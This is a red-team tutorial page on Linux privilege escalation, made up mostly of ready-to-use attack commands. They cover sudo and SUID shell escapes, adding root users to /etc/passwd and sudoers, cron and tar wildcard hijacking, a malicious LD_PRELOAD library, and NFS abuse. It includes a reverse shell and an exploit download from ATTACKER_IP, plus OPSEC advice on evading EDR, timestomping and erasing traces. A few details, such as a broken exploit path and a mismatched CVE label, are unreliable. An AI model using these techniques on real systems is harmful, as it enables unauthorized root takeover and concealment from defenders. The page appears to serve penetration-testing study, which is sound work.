1.1b_Linux_Deep_Dive_P1b

1.1b Linux Deep Dive — Part 1b: Privilege Escalation

BLUF: Part 1b covers privilege escalation vectors: sudo misconfigurations, SUID abuse, cron hijacking, NFS exploits, and kernel CVEs.

Note

Part 1a: OPSEC Baseline · This file: Privilege Escalation · Part 2: Looting & C2


Section 2 — Privilege Escalation: Manual Chains

Every vector below starts with the most passive check first. Only escalate noise when lower-noise
options are exhausted.


2.1 — Sudo Misconfiguration

The highest-value single command on any Linux box. Run this before anything else.

# What can I run as root without a password?
sudo -l

# OPSEC: sudo -l writes to auth.log on some configs -- be aware
# Output to look for:
#   (ALL) NOPASSWD: /usr/bin/vim       -> instant root shell
#   (ALL) NOPASSWD: /usr/bin/python3   -> instant root shell
#   (ALL) NOPASSWD: /usr/bin/find      -> read/write as root
#   (ALL) ALL                          -> full root, just needs password

Common sudo escalation one-liners (check GTFOBins for the full list):

# sudo vim -> shell escape
sudo vim -c ':!/bin/bash'
sudo vim -c ':py3 import pty; pty.spawn("/bin/bash")'

# sudo find -> exec
sudo find / -name whatever -exec /bin/bash \;

# sudo python/python3 -> setuid shell
sudo python3 -c 'import os; os.system("/bin/bash")'

# sudo awk -> exec
sudo awk 'BEGIN {system("/bin/bash")}'

# sudo less -> shell escape (inside less, type !bash)
sudo less /etc/passwd
# then: !bash

# sudo nano -> shell escape (inside nano: Ctrl+R, Ctrl+X, then: reset; bash 1>&0 2>&0)
sudo nano /etc/hosts

# sudo env inheritance -- if sudo preserves PATH
# If a writable dir is first in PATH and sudo allows env passthrough:
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /tmp/legit_binary
chmod +x /tmp/legit_binary
sudo PATH=/tmp:$PATH legit_binary   # only works if env_keep or SETENV is set

# sudo with wildcard in allowed command (e.g., /opt/scripts/*.sh)
# Create file: /opt/scripts/--checkpoint-action=exec=bash
touch '/opt/scripts/--checkpoint-action=exec=bash'
sudo /opt/scripts/*.sh

OPSEC: sudo -l itself is logged to auth.log and may trigger alerts on hardened systems.
It's still worth running — the information gained outweighs the noise. Avoid using sudo for
interactive root shells if you can accomplish the goal through file reads/writes instead (less
visible in process lists).


2.2 — SUID Binary Exploitation

# Step 1: Find all SUID binaries (passive -- just reads filesystem metadata)
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null   # same thing

# Step 2: Filter out expected system binaries -- focus on unusual ones
find / -perm -4000 -type f 2>/dev/null | grep -vE "^(/usr/bin/(passwd|chsh|chfn|newgrp|su|sudo|gpasswd|mount|umount|pkexec)|/bin/(ping|mount|umount|su)|/sbin/|/usr/sbin/)"

# Step 3: For each unusual binary -- check GTFOBins, then:
ls -la /path/to/binary           # who owns it? what permissions?
file /path/to/binary             # architecture?
strings /path/to/binary | head -30  # any hardcoded paths to hijack?

Exploitation patterns:

# SUID bash (rare but beautiful)
/bin/bash -p              # -p preserves effective UID (root)
bash -p -c 'id'           # confirm root

# SUID find
find . -exec /bin/sh -p \; -quit
find / -name blah -exec bash -p \;  # -quit after first match

# SUID python/python3
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# or read arbitrary files without spawning a shell (quieter):
python3 -c 'print(open("/etc/shadow").read())'

# SUID cp -- overwrite sensitive files
# Option 1: overwrite /etc/passwd to add a root user
openssl passwd -1 -salt hacker Password123
# -> $1$hacker$...HASH...
echo 'hacker:$1$hacker$HASH:0:0:root:/root:/bin/bash' >> /tmp/passwd_new
cp /etc/passwd /tmp/passwd_backup   # backup first
cp /tmp/passwd_new /etc/passwd      # SUID cp writes as root
su hacker  # password: Password123

# SUID vim / vi
vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash","bash","-i")'
# or within vim: :shell  (drops to root shell if SUID)

# SUID nmap (older versions only -- nmap < 5.21)
nmap --interactive
!sh

# SUID env
env /bin/sh -p

# SUID tee -- write to root-owned files
echo "hacker ALL=(ALL) NOPASSWD: ALL" | tee -a /etc/sudoers

Capabilities abuse (Linux capabilities = fine-grained SUID):

# Find all binaries with capabilities set
getcap -r / 2>/dev/null

# High-value capabilities:
# cap_setuid     -> can call setuid(0) -> root
# cap_dac_override -> bypass file read/write permissions
# cap_net_raw    -> raw sockets -- useful for sniffing but not direct root
# cap_sys_ptrace -> can ptrace any process -> inject into root process

# cap_setuid on python3
/usr/bin/python3 -c 'import os; os.setuid(0); os.execl("/bin/bash","bash")'

# cap_setuid on perl
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'

# cap_dac_override on vim -- read /etc/shadow
vim /etc/shadow

# cap_sys_ptrace -- inject shellcode into a root process (advanced)
# Use gdb or a custom injector targeting a root PID

OPSEC: Spawning a root /bin/bash via SUID is immediately visible to EDR (execve syscall with
euid=0 from non-root process). Where possible, use the SUID binary to read sensitive files or write
persistence instead of spawning interactive shells.


2.3 — Cron Job Hijacking

# Step 1: Enumerate all cron locations
crontab -l 2>/dev/null           # current user's jobs
cat /etc/crontab                 # system-wide cron
cat /etc/cron.d/*                # drop-in cron files
ls -la /etc/cron.{hourly,daily,weekly,monthly}/
cat /etc/cron.{hourly,daily,weekly,monthly}/* 2>/dev/null

# Step 2: Watch for cron jobs not in any crontab (e.g., run by root scripts)
# pspy watches /proc for process creation -- no root needed
# Download: https://github.com/DominicBreuker/pspy
./pspy64 -pf -i 500   # check every 500ms, watch for UID=0 processes
# Watch for 2-3 minutes to catch per-minute jobs
# Look for: UID=0 and a script or binary path you can influence

# Step 3a: Writable script called by cron
ls -la /opt/scripts/backup.sh    # is it writable by you?
# If yes -- append your payload (don't overwrite, it might be checked)
echo '' >> /opt/scripts/backup.sh                             # blank line spacer
echo 'cp /bin/bash /tmp/.sysd; chmod u+s /tmp/.sysd' >> /opt/scripts/backup.sh
# Wait for next cron run, then:
/tmp/.sysd -p    # SUID bash as root

# Step 3b: PATH hijacking in cron
# If /etc/crontab has: PATH=/home/user:/usr/local/sbin:/usr/bin:/sbin:/bin
# And a cron job calls a binary by name (not full path), e.g., just 'backup'
# And /home/user is writable:
cat > /home/user/backup << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/.sysdbash
chmod u+s /tmp/.sysdbash
EOF
chmod +x /home/user/backup
# Wait -> /tmp/.sysdbash -p

# Step 3c: Wildcard injection in cron tar/rsync commands
# If cron runs: tar czf /backup/archive.tar.gz /var/www/*
# And /var/www/ is writable by you:
touch '/var/www/--checkpoint=1'
touch '/var/www/--checkpoint-action=exec=bash payload.sh'
cat > /var/www/payload.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/.sysdbash && chmod u+s /tmp/.sysdbash
EOF
chmod +x /var/www/payload.sh
# Next tar run picks up the filenames as flags -> executes payload.sh as root

OPSEC: Appending to existing scripts is less detectable than replacing them — file modification
time changes either way, but a replaced file changes its content hash and size, both of which
AIDE/Tripwire monitor. Timestomp after modification (see Section 5). Remove your additions after
gaining root.


2.4 — NFS no_root_squash

# Check /etc/exports on the target (requires read access to this file)
cat /etc/exports
# Look for: no_root_squash or no_all_squash
# Example dangerous entry: /home *(rw,no_root_squash)

# From YOUR attacker machine (not the target):
# Step 1: Mount the NFS share
showmount -e TARGET_IP            # list available NFS exports
mkdir /tmp/nfs_mount
mount -t nfs TARGET_IP:/home /tmp/nfs_mount -nolock

# Step 2: On attacker machine (as local root), create SUID shell
cp /bin/bash /tmp/nfs_mount/rootbash
chmod +s /tmp/nfs_mount/rootbash   # sets SUID -- because no_root_squash, root on client = root on server

# Step 3: Back on target, execute it
/home/rootbash -p      # runs as root due to SUID bit you set remotely

# Cleanup on attacker: rm /tmp/nfs_mount/rootbash && umount /tmp/nfs_mount

2.5 — LD_PRELOAD / LD_LIBRARY_PATH (via sudo env_keep)

# Check: does sudo preserve LD_PRELOAD?
sudo -l | grep -E "env_keep|LD_PRELOAD|SETENV"
# Look for: env_keep+=LD_PRELOAD  or  SETENV

# If yes -- write a malicious shared library
cat > /tmp/evil.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
EOF

gcc -fPIC -shared -nostartfiles -o /tmp/evil.so /tmp/evil.c

# Run any allowed sudo binary with the preload
sudo LD_PRELOAD=/tmp/evil.so find /    # 'find' just as an example -- use whatever is in sudo -l
# The evil.so _init() runs before find, spawns root shell

# Cleanup
rm /tmp/evil.c /tmp/evil.so

2.6 — Weak File Permissions on Sensitive Files

# /etc/passwd writable (direct root user add)
ls -la /etc/passwd
# If writable:
openssl passwd -1 -salt pwned Password1
echo 'pwned:GENERATED_HASH:0:0:pwned:/root:/bin/bash' >> /etc/passwd
su pwned   # password: Password1

# /etc/shadow readable (offline crack)
ls -la /etc/shadow
cat /etc/shadow  # if readable by your user or group
# Copy hashes and crack offline: hashcat -m 1800 shadow.txt wordlist.txt

# /etc/sudoers writable
ls -la /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
sudo bash

# Find world-writable files that might matter
find / -writable -type f 2>/dev/null | grep -vE "/proc|/sys|/dev|/run" | \
  grep -E "cron|sudoers|passwd|shadow|hosts|profile|bashrc|environment"

# Find world-writable directories in PATH (PATH hijack opportunity)
echo $PATH | tr ':' '\n' | xargs -I{} sh -c 'test -w "{}" && echo "WRITABLE PATH DIR: {}"'

2.7 — Kernel Exploit — Last Resort

# Step 1: Identify exact kernel version
uname -r              # e.g., 5.4.0-42-generic
uname -a              # full string including build date
cat /proc/version

# Step 2: Research the version
# Run linux-exploit-suggester on attacker machine or if target has internet:
# https://github.com/mzet-/linux-exploit-suggester
./les.sh --kernel $(uname -r)   # targeted results for this kernel

# Key CVEs worth knowing:
# DirtyPipe  (CVE-2022-0847)  -> kernel 5.8-5.16.11   -> overwrite root-owned files
# DirtyCow   (CVE-2016-5195)  -> kernel < 4.8.3        -> write to read-only mappings -> overwrite /etc/passwd
# PwnKit     (CVE-2021-4034)  -> polkit pkexec          -> universal LPE, works on most distros
# OverlayFS  (CVE-2023-0386)  -> kernel < 6.2           -> setuid bit in overlayfs
# GameOver   (CVE-2023-35829) -> kernel 6.x            -> UAF in io_uring

# Step 3: Transfer exploit to target via /dev/shm (avoid /tmp)
# Compile on attacker if gcc not on target:
x86_64-linux-gnu-gcc exploit.c -o exploit -static -pthread

# Transfer (scp, curl from your server, or base64 encode/decode):
# On attacker: base64 exploit > exploit.b64 && python3 -m http.server 8080
# On target:
curl -s http://ATTACKER_IP:8080/exploit.b64 | base64 -d > /dev/shm/exploit
chmod +x /dev/shm/exploit
./dev/shm/exploit

# Step 4: Clean up immediately after use
rm /dev/shm/exploit

OPSEC: Kernel exploits are the noisiest vector. They often crash processes, log kernel panics
to /var/log/kern.log, and cause unusual syscall patterns that EDR tools fingerprint. Use only
when all other options are exhausted. Test on an identical kernel in a lab first.


Continues in Part 2 — Looting, Persistence, Cleanup, Shell Upgrade, Sliver C2

Part of the [Red Teaming 101](11. Pentesting stuff/Red Teaming 101/0_README.md) series. Companion to [1. Linux](1. Linux.md).